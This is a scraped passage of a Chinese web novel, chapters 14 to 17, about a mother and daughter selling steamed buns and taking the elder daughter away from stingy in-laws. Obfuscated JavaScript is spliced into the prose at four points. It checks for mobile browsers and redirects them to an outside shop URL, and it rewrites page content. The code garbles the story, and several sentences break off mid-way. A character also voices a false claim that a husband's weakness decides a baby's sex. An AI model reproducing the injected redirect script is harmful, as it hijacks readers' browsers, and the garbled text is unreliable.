苏子是紫苏子的别称，和芝麻同样大小，呈黑灰色小球粒，是一位中药材，具有止咳平喘的功效，带着奇异的香味。 她先把苏子倒在锅里小火炒至断生变干，然后铲到石臼中研破碾碎，装入大碗，红糖在砧板上切细后混入微凉的苏子沫，一份苏子碎一份糖，最后撒一点点盐提味，苏子糖心便做好了。 这时候第一盆面已经醒发好，她撕开看了下，面里是完美的蜂窝状，筷子挑一小块入嘴，带着一点点酸味，因用的是昨日预留的老面醒面，比起酵母存在一定的杂菌，醒发后发酸是不可避免的，她调了一点碱水撒进去，再次尝了一下，酸味被中和，只剩下面香的回甘。 面醒发的恰是时候，她招呼姜氏把盆里的白面团倒扣出来在案板上，揉至光滑后切成大小均匀的小剂子，依旧包十个铜钱炊饼，剩余的小剂子每个包入半勺苏子糖心，裹圆后放在预热好的的蒸笼里，继续醒发半刻钟后大火蒸熟。 灰面炊饼和米发糕依旧和昨日一样的做法。 天亮时分，三个篮子里装满了胖嘟嘟圆滚滚的白面炊饼，灰面炊饼和白米糕，姜宁甩着发酸的手臂，帮炊饼宝宝们盖好被子，她嘴里嘟囔道：“白面炊饼里有糖心，再叫炊饼不合适，不如叫馒头吧！” 姜氏掰开一个热气腾腾的白面馒头，露出里面焦黑色的糖心。 红糖遇热即化，变成汤水粘在白面上，配合苏子的奇香，甜而不腻，又带着草木的清香，十分诱人。 姜氏斯哈斯哈吃，一面询问她：“价钱要调高吗？” 加了芯的白面炊饼本钱变多，照两文售卖还有得赚头么，加了钱，估计不好卖，涉及动脑的事情，姜氏便有些摸瞎。 姜宁困得厉害，重重打了个哈欠：“不加钱，两文一个售卖，我算过的，有得赚。”她正要准备做小学堂的早食，姜氏心疼她连续熬了好几日，从篮子里拣出六个白玉盘米糕，10个苏子馒头，放在桌上：“离孩子们来上学还有将近一个时辰，你回去睡个回笼觉，不用准备早食，给孩子们吃这些，过会加一把火腾热就可以吃。” 姜宁年龄小，正是睡不够的时候，这几日早起蒸炊饼，耗费了巨大的毅力，左右今日蒸的炊饼多，拣出几个给孩子们吃也一样，她三步并做两步，爬回床榻，倒头大睡。 姜氏推着独轮车出了门，循着大街小巷开始喊：“买柴火咯，晒得干生生的柴火，买炊饼咯，松软香甜的炊饼，里头藏了钱的炊饼！” 不一会，各家各户便打开院门，有买柴火的，有询问炊饼米糕的。 柴火被她分围捆好绑在独轮车四周，看重哪围她便解开，单手提着柴火帮忙送到客人院子去，一点都不会把衣服弄上灰尘。 也有人懒得自己开火做饭，买几个灰面炊饼，对付几口，省钱又省力，嘴里还嘀咕道：“只吃炊饼噎得慌，要是能喝一碗热乎乎的滚汤便好了！” 姜氏大力推荐自家的苏子糖心白面馒头，大多人喜爱这个草木香甜味，赞不绝口，也有少数几人抱怨：“啧，我爱吃咸口的，不爱吃这样甜兮兮的，好不如昨日无心的呢！” 姜氏谨记女儿的话，无论客人说什么都笑脸相陪，应和着说是，再把客人的意见，一句一句记牢，等晚间回去和女儿说。 今日做的多，姜氏走了好些巷子叫卖，到了午饭时候，剩下十多个灰面炊饼，她记得西城门附近进城卖菜的乡亲较多，灰面炊饼个大实惠，最适合舍不得花钱的乡亲们填肚子，便推着车往西城门走，离着西城门还有三条街，远远的便有个耳熟的声音后面喊道：“喂，那个卖炊饼的，等着，我要选几个炊饼！” 姜氏抬眼，发现是韦婆子，暗道晦气，努力挤出一缕笑来，揭开白布，露出没卖完的几个灰面炊饼：“原来是巧儿阿奶，看看，要几个，我给你装！” 韦婆子看清是姜氏，盯着她带头巾的光头，诧异了一下，几日不见，这姜氏日子苦得头发都卖了？ 担心被借钱，她瞬间搂紧自家荷包，连连摆手：“哦，原来是巧儿外婆，我看错了。我要找那个发财炊饼摊，买几个白面炊饼给周鑫做早食，昨日粮铺又进了好几车粮食，周鑫下货实在辛苦。听说她家的炊饼松软香甜，极美味的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991620|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你也学人家卖炊饼啊，哦，是灰面的啊，有人买吗？” 她声音在白面上重重强调了一下，故意炫耀自家日日□□粮。 这么大的叶城，哪里不能卖，非要来家门口附近转悠，肯定是卖不掉，想着让周鑫帮她处理呢。韦婆子眼珠子转了个圈，我们家不吃灰面等推脱的话正要冲出口。 姜氏抬头看了看日头，都过了午时了，还准备早食，这是还没起床么？ 她不由得怒火中烧，真是个懒汉，家里一摊子事情丢给阿悦，自己高枕无忧，果然不是个东西。炊饼也不卖了，气冲冲推着车来到周家粮铺，果然，铺子里苏悦招待买粮的客人，巧儿一个人坐在一边抓豆子玩儿。 她抱起巧儿摸了摸外孙女的肚子，扁扁的，轻声询问：“巧儿告诉外婆，起床后吃了什么？” 巧儿看见是她，欢喜的扑在她身上，而后摇摇头：“还没，阿奶说要等着阿爹一起吃！” 姜氏瞬间火冒三丈，抱着巧儿气冲冲来到后院，一觉踹开女儿女婿的卧室，痛斥：“好你个周鑫，你睡着不起来，让全家人饿着肚子等着你，可怜我的巧儿饿得皮包骨头哇哇大哭，你有个当爹的样么！” 周鑫吓得抱着被子滚下床，面上一阵青一阵白，像打翻了调色盘，嘴里连连告错：“岳母来了，岳母误会了，我昨日下好几车粮，累狠了，睡过了头，平时不这样的。我让他们自己吃自己的，没让他们等我，真是误会了！” 姜氏冷哼一声，斜乜着一旁的韦婆子：“你累坏了，苏悦便闲着么，即便没搬粮袋，收拾打扫整理是谁干的活，还能是你那体弱多病的娘么？你看看，苏悦也忙了一整天，她早早起来干活，不说多休息，至少要让她吃饱吧，让人饿着肚子干活，克扣媳妇女儿的饭食，这便是你周家的传统么？” 韦婆子争辩：“你瞎说什么，我们哪里克扣媳妇孙女的饭食，家家女人吃半碗饭，这是天经地义的事。” 她嫌弃的撇嘴：“在我家至少有半碗饭吃，不错了，不像有些家，只能吃陈粮灰面！” 姜氏懒得搭理她，扭头盯着地上的女婿：“周鑫，你经营这么大一个粮店，需要女人吃一半的饭，说出去也不嫌弃丢人！ 你娘那是年老体衰半截身子入了土吃不完，你让正当壮年的苏悦，正是长身体的巧儿也吃半碗饭，你还要不要脸！ 要是你不能养活妻女，让她们跟着我回去，不管好赖，我至少能让他们吃饱穿暖！” 姜氏冷冷的看着周鑫，今日他要不说个清楚，她势必带走女儿孙女。 周鑫满脸难堪，自家母亲日日念叨着家里他是顶梁柱，必须吃饱穿暖，剩余的人吃一半就行，就连母亲自己也只吃半碗饭，他一直觉得这是正常的，家家都是如此，今日被岳母叫破，忽然有些不自信，他怔怔看着苏悦：“阿悦，你告诉岳母，我有克扣你吗？” 苏悦看了看母亲，再看看自己的丈夫，含着泪道：“自从公公去后，我从未吃饱过！” 15. 第 15 章 “我从未吃饱过！” 短短六个字，如同六个秤砣，重重的砸在周鑫的脑袋上，将他震得头昏眼花，他原本以为，他是这附近最体贴的丈夫，他们也是这附近最幸福的夫妻。 他从不打她骂她，时时护着她，即便苏悦没生男孩，他也从未说过一句责备她的重话，原来一切都只是他以为。 苏悦在怨怼，怨怼他没让他吃饱。 姜氏冷笑：“即便家里穷得揭不开锅的人家，也没有一年到头让媳妇吃半碗饭的道理，周鑫，你还不知道自己的错吗？” 周鑫看着泪流满面的苏悦，自责心疼将他填得满满的，姜氏的指责像无数的毒蜂，扎在他脸上，让他愧疚不已：“阿悦，我知道错了，我以后会让你吃饱饭的。” 苏悦原本充满希望的眼眸瞬间黯淡无光，周鑫感觉好像说错了话，又不晓得错在哪里，茫然的看着姜氏，希望她能帮着劝解。 姜氏嗤笑一声，抱着巧儿转身便走：“周鑫，这是半碗饭的事么？我带着他们娘两回去住几天，你好好想想，若想明白了，便来东城门找我。” 她斜乜着韦婆子，晃了晃腰间的钱袋子：“不好意思，你寻的发财炊饼摊，便是我的，如今我在城里卖炊饼，莫说几个白面炊饼，就是红烧肉酱排骨，苏悦母女，要想吃多少，便有多少，我家断然不会弄出大人吃饭，孩子媳妇挨饿的事来，丢人！” 韦婆子听说发财炊饼摊是她家的，面上闪过羡慕嫉妒恨各种神色，她回娘家听弟妹念叨，这家新开的炊饼摊人气爆好，特别是她家做的米发糕，投机取巧弄了个什么白玉盘的名字，兄弟家的生意被分走许多。 又被她当面羞辱一顿，顿时气的面皮发黑，大口大口的喘着粗气，偏偏自己那个傻儿子还巴拉着苏悦不放，问她哪里没做好，一定改，她一口气没上来，眼前一黑，就势晕倒。 姜氏想着教训韦婆子一顿出口恶气，不是真的想结仇，看人晕倒，担心摔坏，顺手把人捞住轻轻放在地上，她瞟一眼韦婆子乱动的眼珠子，冷笑道：“周鑫，你娘听说我们家开了炊饼摊子，开心坏了，你快弄些还魂汤来，我帮你灌下去，她立刻便好。” 周鑫哪里明白自己娘亲和岳母之间的机锋，慌里慌张问去哪里讨还魂汤。 姜氏朝着外头努嘴：“诺，门口那个小孩子正尿着呢，快去接。” 周鑫哦了一声，穿着里衣顾不得套外裳，抄起个盆便要出去。装晕的韦婆子哼唧哼唧醒来，心虚的嚷嚷着头疼，周鑫看见，哪里还不明白自家娘亲装晕，越发羞愧得说不出话来。 姜氏抱着巧儿，恨铁不成刚瞪了一眼苏悦：“没用的东西，还不跟上！” 出了门，把巧儿放在车上，扯着苏悦一阵风卷走了，周鑫待要追，身后韦婆子嚷嚷着心口疼，肚子痛，要死要活要看大夫，便没追媳妇，扭头带着老娘去医馆。 苏悦觑一眼姜氏紧绷的脸，不敢吭声，小跑紧跟在后面，疾步两条街后，苏悦拖住姜氏手臂，大口大口喘气，弱弱道：“阿娘慢些，我，我走不动了。” 姜氏深吸一口气，等她跟上来，缓了缓语气道：“这些年你爹不在了，弟弟年幼，我知道你受了许多委屈，之前退让些便罢了，如今，有了巧儿，你该立起来才是。行了，不说那些，如今我带着你弟妹在东城租了房子，先回去，再说说后面的事。” 她从篮子里拣出两个灰面炊饼，一人塞了一个：“先吃个炊饼垫吧垫吧肚子，回去让阿宁给你做些别的。” 对于她的到来，姜宁和苏慎表示欢迎。 今日午饭姜宁为小学堂的孩子们准备了菘菜肉片汤和家常豆腐。 肉片提前用淀粉，精盐腌制，先把菘菜爆火炒至断生铺在盆底，锅里加入少量油，一勺豆瓣酱炒香后加入骨头汤，煮沸后撒少许糖提鲜，一些盐调味，再快速滑入腌好的肉片，肉片变色立马捞起来，码放在菘菜上，再把汤汁浇在肉上，最后锅里重新烧油，等油温度烘手时泼在肉片汤上，撒些葱花调色，一份美味香鲜的菘菜肉片汤便做好了。 其实是不放辣椒版本的水煮肉片。 家常豆腐先过一遍沸水，洗掉豆腥味，放点葱姜一起烹饪，又香又嫩。 苏慎安排巧儿坐在小胖子和小板栗中间，姜宁拉着苏悦一起给孩子们添饭加菜。 每个孩子乖乖坐在桌子前，抱着手吸着香味眼巴巴等着吃饭，姜宁每个小木碗添半碗饭，一勺菘菜肉片，一勺豆腐，让苏悦端到小娃们面前，不用喂饭，小娃们自己左手拉着小木碗，右手抓着小木勺乖巧吃饭，苏慎也跟着一起吃，一面吃一面教小娃们要把肉嚼细，豆腐里的姜片不会吃，可以挑出来放桌子上，菘菜也要咽下肚，吃了肚肚会咕噜咕噜笑。 吃完不够的孩子，也不哭闹，小手举得高高的，姜宁便再给他重新添加一份。 小胖比较能吃，连续吃了三碗，举手还要，姜宁走过去摸摸他的肚子，已经鼓鼓的，不许他再吃：“你肚肚里已经住满肉片啦，再吃的话，肚肚会疼的，而且，必须留一点肚子，因为我们今日的点心是冰糖葫芦，你想不想吃？” 小胖纠结了一会，摇摇头：“我还是留着肚子吃冰糖葫芦吧！” 巧儿从来没吃过这么香的饭饭，肉片嫩滑得像鸡蛋羹一样，却比鸡蛋香多了。她也学着举手，吃了两份，还想吃第三份，听了他们的话，放下碗筷，仰着头问：“小姨，我也想要冰糖葫芦，我只舔一下，不吃，可以吗？” 姜宁又气又好笑：“不行，我们不许舔，只许吃。大家都有，吃饱肚肚后，我们去后院散步消食，去看看小白菜今天长大了吗，我们再当一次捕快，把偷吃菘菜的虫子小偷抓起来，比比哪个捕快最厉害，抓的虫子最多，下午吃点心，就多奖励他一颗糖葫芦。” 苏慎哄着小娃们到后院撒尿抓虫子消食物，姜宁收拾打扫了卫生，领着苏悦去了灶房。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991621|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和苏悦商量：“阿姐，肉片豆腐各剩一大碗多，应该够我们吃了，要不热一热将就吃一顿，晚上我们再吃顿好的，想吃鱼还是肉，一会吃完饭让阿娘去买？” 在周家，韦婆子从不和她商量，一律使唤她做什么，一时她有些怔住。 姜宁以为她嫌弃，解下围裙笑道：“阿姐先坐一会，我去街上秤上二两卤肉回来，打个蘸水就能吃，也很方便。” 苏悦拉住她：“不用去，这些就很好，我刚才想着其他事情。” 魏婆子知道他们有体己话要说，扒拉完一碗饭后说饱了，要去后院照看孩子躲了出去。屋内只剩下娘是三个。 苏悦一粒一粒心不在焉吃着米饭。 姜氏满脸的嫌弃，一巴掌拍在她肩上：“你还没有巧儿大么，不会自己夹菜？” 没出嫁时，家里全家老小一起吃饭，饭菜阿奶分好。 出嫁后回娘家，阿奶从未留饭，每次阿娘都攒些鸡蛋或者其他七零八碎的东西，让她带回周家。 在周家，饭菜是婆婆或丈夫分好，她，从未自己夹过菜。 看着中间两碗堆得满满的肉片和豆腐，她试探着夹了一小片肉，塞到嘴里，然后去看姜氏和姜宁的脸色。 若两人皱一下眉头，她便不吃了。 姜宁疑惑的眨眨眼，自己夹了一片尝了尝：“味道正常啊，阿姐你吃着是咸了吗，我再放点汤？” 姜氏眉头皱得能夹死苍蝇，大女儿小心翼翼的模样实在让人火冒三丈，记得大女儿一直是有主见的，怎么现在变得如此唯唯诺诺，小家子气。 她抬起碗，扒拉半碗肉片到苏悦碗里，直到再也堆不下：“你想吃啥就直接夹，在自己家，这是做什么？” “之前是你阿奶当家，她抠搜惯了的，如今我们出来住，便是我自己当家，想吃多少就吃多少！” 对上她疑惑的眼神，姜氏三言两语将苏老头软禁他们，他们离家出走，而后单方面更名改姓自立门户创业的事说了一遍，语气轻淡得好似今日早晨吃了个灰面炊饼一样，不值一提。 苏悦眼睛里盛满了惊愕，还能这样？ 她学习的三从四德，在家从父，出嫁从夫，在阿娘这里，全是过山风。 姜氏有些头疼：“你小时在家，你父亲忙着出门赚钱，我忙着照顾田地，把你丢给你阿奶，让你学了些虚头巴脑的条条框框，倒把你给捆着了，后来添了弟妹，家里境况一日不如一日，没能给你撑腰，都是我的错。” “如今，你也是当娘的，既然周家给你吃了这么多气，你可愿意舍去他们，放弃衣来张口，饭来伸手，不为生计劳累，养尊处优的好日子，带着巧儿和我们一起去叶城？” “当然，以后的日子，可能和我们一样很辛苦：上山下田，抛头露面，走街串巷，日夜劳作为生计而奔波，唯一好处，便是自由自在，想吃什么，想穿什么，想剪什么样的头发，全凭自己做主？” 16. 第 16 章 苏悦举棋不定，低头不语，双手紧紧绞着衣摆。 姜宁打破僵局：“阿娘，你莫心急，让阿姐好好想想，不急在这一会半会的。” 她扭头劝解苏悦：“阿姐不如把巧儿放在这里几天，我们的小学堂除了教孩子们自己吃饭穿衣外，还教她们数数唱歌背诗，我看巧儿和孩子们一起玩得挺高兴。” 苏悦肉眼可见的松了一口气，她确气恼周鑫凡事听从婆婆的意见，可是除了这一点，其实周鑫很好的。 帮她洗衣做饭，帮她带娃，即便生儿子，周鑫从未吃过她半句不是。 她偷偷看一眼姜氏，能拖就拖：“我，我想和你们在一起住几天，想想再说！” 看她这扭捏不定的模样，姜氏无奈叹了口气，大女儿，到底被她阿奶养傻了，也罢，她有的是手段和功夫，慢慢教回来。 姜氏嗯了一声，“和我们在一起，可得干活，你明日便和我一去出摊去卖炊饼。”把大女儿放在身边亲自教导，改改性子。 “一份辛劳一份收获，晚间回来发工钱给你。” 听说要出去抛头露面，苏悦一瞬间胆怯，弱弱争取：“阿娘，我我舍不得巧儿，我在家照看孩子，可好？” 姜氏肉眼可见怒气值上升，一旁的姜宁出声安抚道：“那可太好不过，我这几天被小萝卜头们吵得头昏眼花，阿姐在家教孩子们读书，我和娘亲一起卖炊饼，听听客人们的意见，方便改进口味。” 姜氏有些犹豫：“万一被那姓胡的撞见？” 姜宁冷笑：“撞见就撞见，我正好给他一砖头，讨要我的庚帖。” 姜氏不赞同：“你踩狗屎了，还去踹狗屎两脚么？”她看明白了，胡光骏就是一坨烂泥，自家女儿好好清白个姑娘，没必要和个烂人纠缠计较，照她的意思，干干脆脆断个清爽，免得脏了自己。 一想到这，她有些惆怅，大女儿性子太软，受了欺负只会自己生闷气，小女儿又过于泼辣，受了气作天作地报复回去，要是两人能够中和一下就好了。 姜宁再三保证和姓胡的划清界限：“你放心，我老老实实跟着你卖炊饼，绝不离开你推车三步，我会在装扮上稍微改动些，保证他认不出来。” 明日分工安排好，几人梳洗睡觉，因租的房间松木床睡不下五人，姜氏和魏婆婆商量后，领着苏慎和巧儿睡在小学堂的稻草地铺上，别说，巧儿欢喜的在大地铺上翻跟头打滚，再不黏糊在苏悦身上。 洗脸的时候，姜宁退掉头巾，露出光亮亮的脑袋，抹上皂角洗了一把，冲洗后三两下用干布巾擦干，在厨房做饭出汗变得黏黏糊糊的脑袋，瞬间清爽干净，有一股皂角的淡香，舒服的打了个激灵。 苏悦在自己头上抓拉两下，羡慕的看着她：“你这样真方便！” 姜宁眨眨眼睛，奇怪道：“阿姐喜欢我这样，你也可以把头发剪成光头啊，又没人会拦着你。” 她鼓吹光头的好处：“干净好打理，我每天晚上都洗一次，而且光头不会长虱子。” 苏悦嫌弃自己头发上的虱子，有些心动，想想又笑道：“算了，你姐夫不会同意的。” 姜宁：“……” 他同意是件很重要的事情吗？ 姐妹两靠在枕头上，苏悦和妹妹抱怨肚里的烦心事：“你姐夫还好，他很体贴的，帮我做家务，帮我带娃，送我头花，我让他去找胡光骏替你出头，他二话不说便去了，我这么些年只生了巧儿，他也未曾抱怨，偏偏婆婆太能找事，你姐夫又孝顺，家里无论何事，都是婆婆说的算，哎，要等到什么时候，婆婆才能不管事啊？” 姜宁：“……” 姐夫就做了这么点事，就这些，让阿姐饿着肚子忍了七八年？ 要是她，七八个时辰都不能忍。 姜宁在黑暗中大白眼快要翻上天。 循循善诱：“阿姐，你做些什么家务啊？” 苏悦：“洗衣，做饭，打扫屋子，收拾铺子等等。” 姜宁：“哦，洗衣裳，洗的是你一个人的么？” 苏悦失笑：“怎么可能，是全家的啊。” 姜宁：“也就是说，洗的是姐夫的，婆婆的，你的，巧儿的，那怎么能说他帮你洗呢，最多说他洗了自己的，还有婆婆的，你洗了你的和巧儿的啊，我估摸着他最多在一旁汲取井水，都是你搓打漂洗是不是？” 苏悦点点头，后反应过来妹妹看不见，出声嗯了一下。 姜宁道：“所以你算错帐啦，不是姐夫帮你洗，是你帮姐夫和婆婆洗！” “打扫屋子，姐夫家屋子房契上是你的名字吗？肯定不是，我估摸着是婆婆的，因为他们家房子你们未成婚就在那的，所以是过世的公公的，或者是婆婆的，反正不会是你的，又不是你的房子，你去打扫了，那叫帮婆婆打扫屋子，姐夫一起打扫， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991622|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那也是帮他娘，不是帮你哦！” “还有做饭洗碗，做了饭谁吃得多呢，你连续八年吃了半碗饭，从不夹菜，做好的饭菜多半进了婆婆姐夫的肚子，所以他来做饭，也是做给自己吃，你帮他做的。” “带娃的事，巧儿叫什么，叫周巧儿，跟着姐夫姓，她是姐夫的娃，他的娃他带理所应当，是你帮他生了个娃，还帮他带娃，他应该感激你才对！” “你觉得我说的不对是吗？” “那你看看那些大户人家里，打扫庭院的丫头，做饭的厨娘，洗衣的婆子，带孩子的奶娘，是不是都发月钱，人家签了卖身契的干活都有月钱拿呢！” “姐夫买了多少头花给你？若是像大户人家那样发月钱给你，能买多少呢？” 看看你，白帮周家操劳这么多年，还负责生孩子，一文钱没攒到，一间房没捞到，反而感激人家，这不是脑子傻了么？这句话她在心里说的，怕说出来阿姐翻脸踹她。 姜宁丢出最后一个重磅消息，暗道谢谢夫子背锅：“你是不是还要说生女娃的事，我跟你说，我在村子里念书时偷听到夫子和朋友闲聊，说生男娃女娃，是丈夫决定的，要是丈夫身强体壮，生的就是男娃，要是丈夫肾虚，生的是女娃，所以，你迟迟没生娃，最后有了巧儿，不是怨你，是怪姐夫肾虚！我的阿姐，你一直都想差了！” 世人教导女孩要美丽得体，要大方贤惠，要体贴懂事，要勤快有眼力劲儿，从来没有人和她这样说过。 苏悦一时傻了。 村里的夫子，她知道，中了举人的，那是顶顶厉害的人了，说的话一定不会错。 原来不生男娃，是丈夫的原因？ 她一直以来建立的人生观世界观，好像塌了一块，在摇摇晃晃。 旁边没声了，阿姐是睡着了吗？姜宁叹了口气。 世人用贤妻良母捆绑女孩，把女孩困在家这一方小小天地里，白嫖女孩的劳动和付出，阿姐便是深受其害被荼毒的一员。 算了，慢慢来吧，只要埋下一粒自我的种子，阿姐会觉醒的。 & 次日凌晨，姜宁起身发面做炊饼，琢磨着有阿姐帮忙在家照顾小学堂的孩子，她今日能跟着阿娘一起去街上叫卖，可以带着小茶炉去加热蒸腾，故打算做些咸口的鲜肉包子，哦不，在这个时代要叫做鲜肉馒头。 不晓得大家能不能吃的惯？ 17. 第 17 章 姜宁做的鲜肉包和普通鲜肉包不同，面皮工序更加复杂，口感也更加酥松。 在和面的时候，先放一勺细盐，一半面放热水，一半面放冷水，分别搅拌成面絮后，再舀入一大勺炼制好冷却的雪白猪油，手掌根发力，揉制成软硬适中的面团，盖上干净扭干的白湿布醒发。 在醒面的同时，调制油酥：半碗温热的猪油里，加入半碗干面粉搅拌，一勺盐调味，一勺糖提鲜，用筷子顺指针搅拌，调制成均匀没有小疙瘩的液体油酥。 醒发好的水油面排气揉匀后，用擀面杖在案板上擀平成长方形，薄薄涂抹一层油酥，然后卷起来，重新擀面成一个长方形，然后再次卷成个长条，盖上湿布二次醒发。 等待醒发的过程中，调制馅料。 姜宁把姜氏买回来的猪肉凑到鼻尖嗅了嗅，有股淡淡的肉腥味，还行，算是矬子里挑高个。 这时代的猪没有经过阉割，特别是公猪身上，一股子腥臊味，姜宁特别交代姜氏要挑着没经过人事的小母猪肉买，宁愿价钱贵一些，也不要其他的猪肉，这样才能保证口感。 肉买回来后在清水中漂洗一道，能有效清除一些腥味，然后用干布擦干净。 接下来垂直肉的纹理，把肉切成片，按三分肥七分瘦的比例剁成肉泥，这个是个力气活，姜宁剁了几下，手臂便沉得像灌了铅，姜氏适时接过菜刀，案板上响起均匀的哒哒哒声，她委屈抱怨：“来来，这样不动脑子的活计我最爱了，明早我在家揉面，你去买肉，那些肉躺在案板上都一模一样，我哪里看得出来，哪些是小母猪肉，哪些是老登猪肉！” 姜宁笑道：“你今早买的肉便很好啊，不是你挑出来的吗？” 姜氏：“我哪里会挑，我去到肉摊，有一个屠户正在从车上搬宰好的猪上案板，他搭档还没来，一人搬不动，因挡着我的路，我顺手帮他提了半扇猪到案板上，他很感谢我，问我是不是要买肉，我说要小母猪前腿肉，他便从一摊肉中，翻出一块割了一刀肉给我，说是保证味道鲜美，让我尝一尝，要是还好，明早找他买！” 姜宁点点头，嗯，姜氏不会挑肉，无意中用以力服人的方式买肉，单手提溜半头猪，试问，哪个屠户敢糊弄这样的大力主顾，不怕被砸了摊子？ 肉泥剁好后，撒入精盐，一勺白糖，拌匀，本来应该放些胡椒粉，因比黄金还贵，姜氏没买，拌匀后少量多次加入昨晚泡好的葱姜花椒水，勺子顺时针打圈，让肉泥充分的吸收水分，看着水润润的时候停下来，加入一勺熟香油，锁住水分。 面皮也二次醒发好了，切成一个个等量的小剂子，揉圆后擀成中间厚，边上薄的圆饼，手心托着中间，舀入一勺调好的肉馅，转着手把面皮捏几个皱折包圆。 包子皮在姜宁手中，像小萝卜头们一样听话，乖巧的打着折儿，变成圆滚滚胖嘟嘟的包子，同样的皮儿去到姜氏手里，好似专门和她作对的小板栗，不是破了个洞，便是漏了馅料。 姜宁看着像只青蛙长个大嘴巴软软趴在那的包子，吃吃笑道：“阿娘去烧火，要大大的火，我来包吧！” 锅里蒸汽腾腾，把包子放在蒸笼里大火蒸制一刻钟，然后焖半刻钟，再揭开锅盖，圆滚滚的包子们涨大了一倍，全都微笑：从折子正中间裂开了嘴，露出里头水莹莹油润润的肉馅。 姜宁夹了一个到碗里递给姜氏：“你尝尝味儿如何？” 姜氏接了碗凑在边上，满足吸了一口气：“自然是好的。” 正说着，苏悦洗漱好来到灶房，雾气氤氲间一股鲜香挠得人心里痒痒，她忍了又忍，终还是开口询问：“是做了什么，这么香？” 姜氏把手里的碗递给他：“你尝尝，你妹子做的，嗯，肉炊饼？”她扭头询问姜宁：“是叫肉炊饼吗？”这样平凡的名字简直拉低了自家炊饼的档次。 “你不是最喜欢弄些稀奇古怪的名字，比如白玉盘什么的，肉炊饼，也太普通了。昨日客人把我们家的炊饼叫包子，我觉得挺好，他们说，我家的炊饼里头藏着铜子，所以叫白面包子，和其他家的炊饼区分开来。” 自家的苏子炊饼受到欢迎，还有自己的名字，姜氏挺直了胸脯，很是得意。 “不若叫肉包子，如何？” 姜宁笑盈盈看向苏悦：“阿姐，先尝尝味儿？里面放了肉，凉了便不好吃了。” 苏悦嗯了一声，低头打量陶碗里的肉炊饼。 红褐色的陶碗里，炊饼白白胖胖，鼓鼓胀胀的，一看肚子里就藏了好多馅料，看着便心满意足。她用筷子轻轻夹了一下，松软弹韧，加大手指力度，夹起到半中，包子又掉落到碗里，在她愕然的眼光中，层层叠叠散落，像花儿开放一般，碎成好多块，啊，竟然坏了？ 幸好散在碗里，还能吃。 她重新夹起一小片碎面片，入嘴蓬松酥香，有一点掉渣的感觉，入口即化，但又绵软有弹性，兼具麦甘和油香，皮就如此美味，不晓得心馅如何？ 她筷子快速的伸到馅料里，夹一块带着肉的面皮，浸染了汤汁的面皮又是另外一种味道，入嘴那一刻，肉汁的咸鲜，小麦的清香，猪油的淳厚，肉馅的滑嫩爆浆，完美的交融在一起，层层在嘴里递进，复合成极致的愉悦，好似有人在肚子里放烟花。 美，实在太美了。 苏悦吃完了包子，忍不住嗦了下沾染了汤汁的筷子。 等她反应过来，难为情的看着面前的两人：“我不是有意嗦筷子的，实在太鲜了，我，没忍住！” 姜氏摆摆手：“没事没事，好吃就好！” 她揭开蒸笼，从众多微笑包中，一眼找出自己包那个张嘴青蛙包，咬了一口，眼睛瞬间亮了，汁水在唇齿间撞动，她一面斯哈斯哈喊烫，一面把嘴巴塞得满满的，鼓着腮帮子道：“不如叫汁水包？” 苏悦摇头：“不妥，面皮的味道，你是一点没吃出来啊？” 姜宁笑道：“不如叫破酥包！” 名字出来，两人想了一下，点头道好：面皮酥软一摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991623|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就破，露出里头滑嫩多汁的肉馅，好名字！ 因为包子一碰就破，姜氏干脆连蒸笼搬到独轮车上，还带上了自家的小茶炉和小蒸笼，若冷了，便架起火热一下。 姜宁也担心遇到胡光骏，被他攀扯影响做生意，更担心被阿爷撞见，抓他们回家，便在腰间缠上姜氏的腰带，袅娜的身姿瞬间变得臃肿，脸上也抹上一层桑葚水，变得黑黄黑黄的，从妍丽貌美的小娘子，瞬间成了黑壮的土小子，若不是同姜氏站在一起，苏悦都认不出来。 两人一起推着车上了街，姜氏循着往日的路线，打算沿街走巷叫卖。 姜宁看看天色，正是各家学堂上学的时刻，她问姜氏附近可有学堂私塾，姜氏点头道有，领着两人去了一家学堂路口，果然许多大人揪着孩子匆忙往前走。 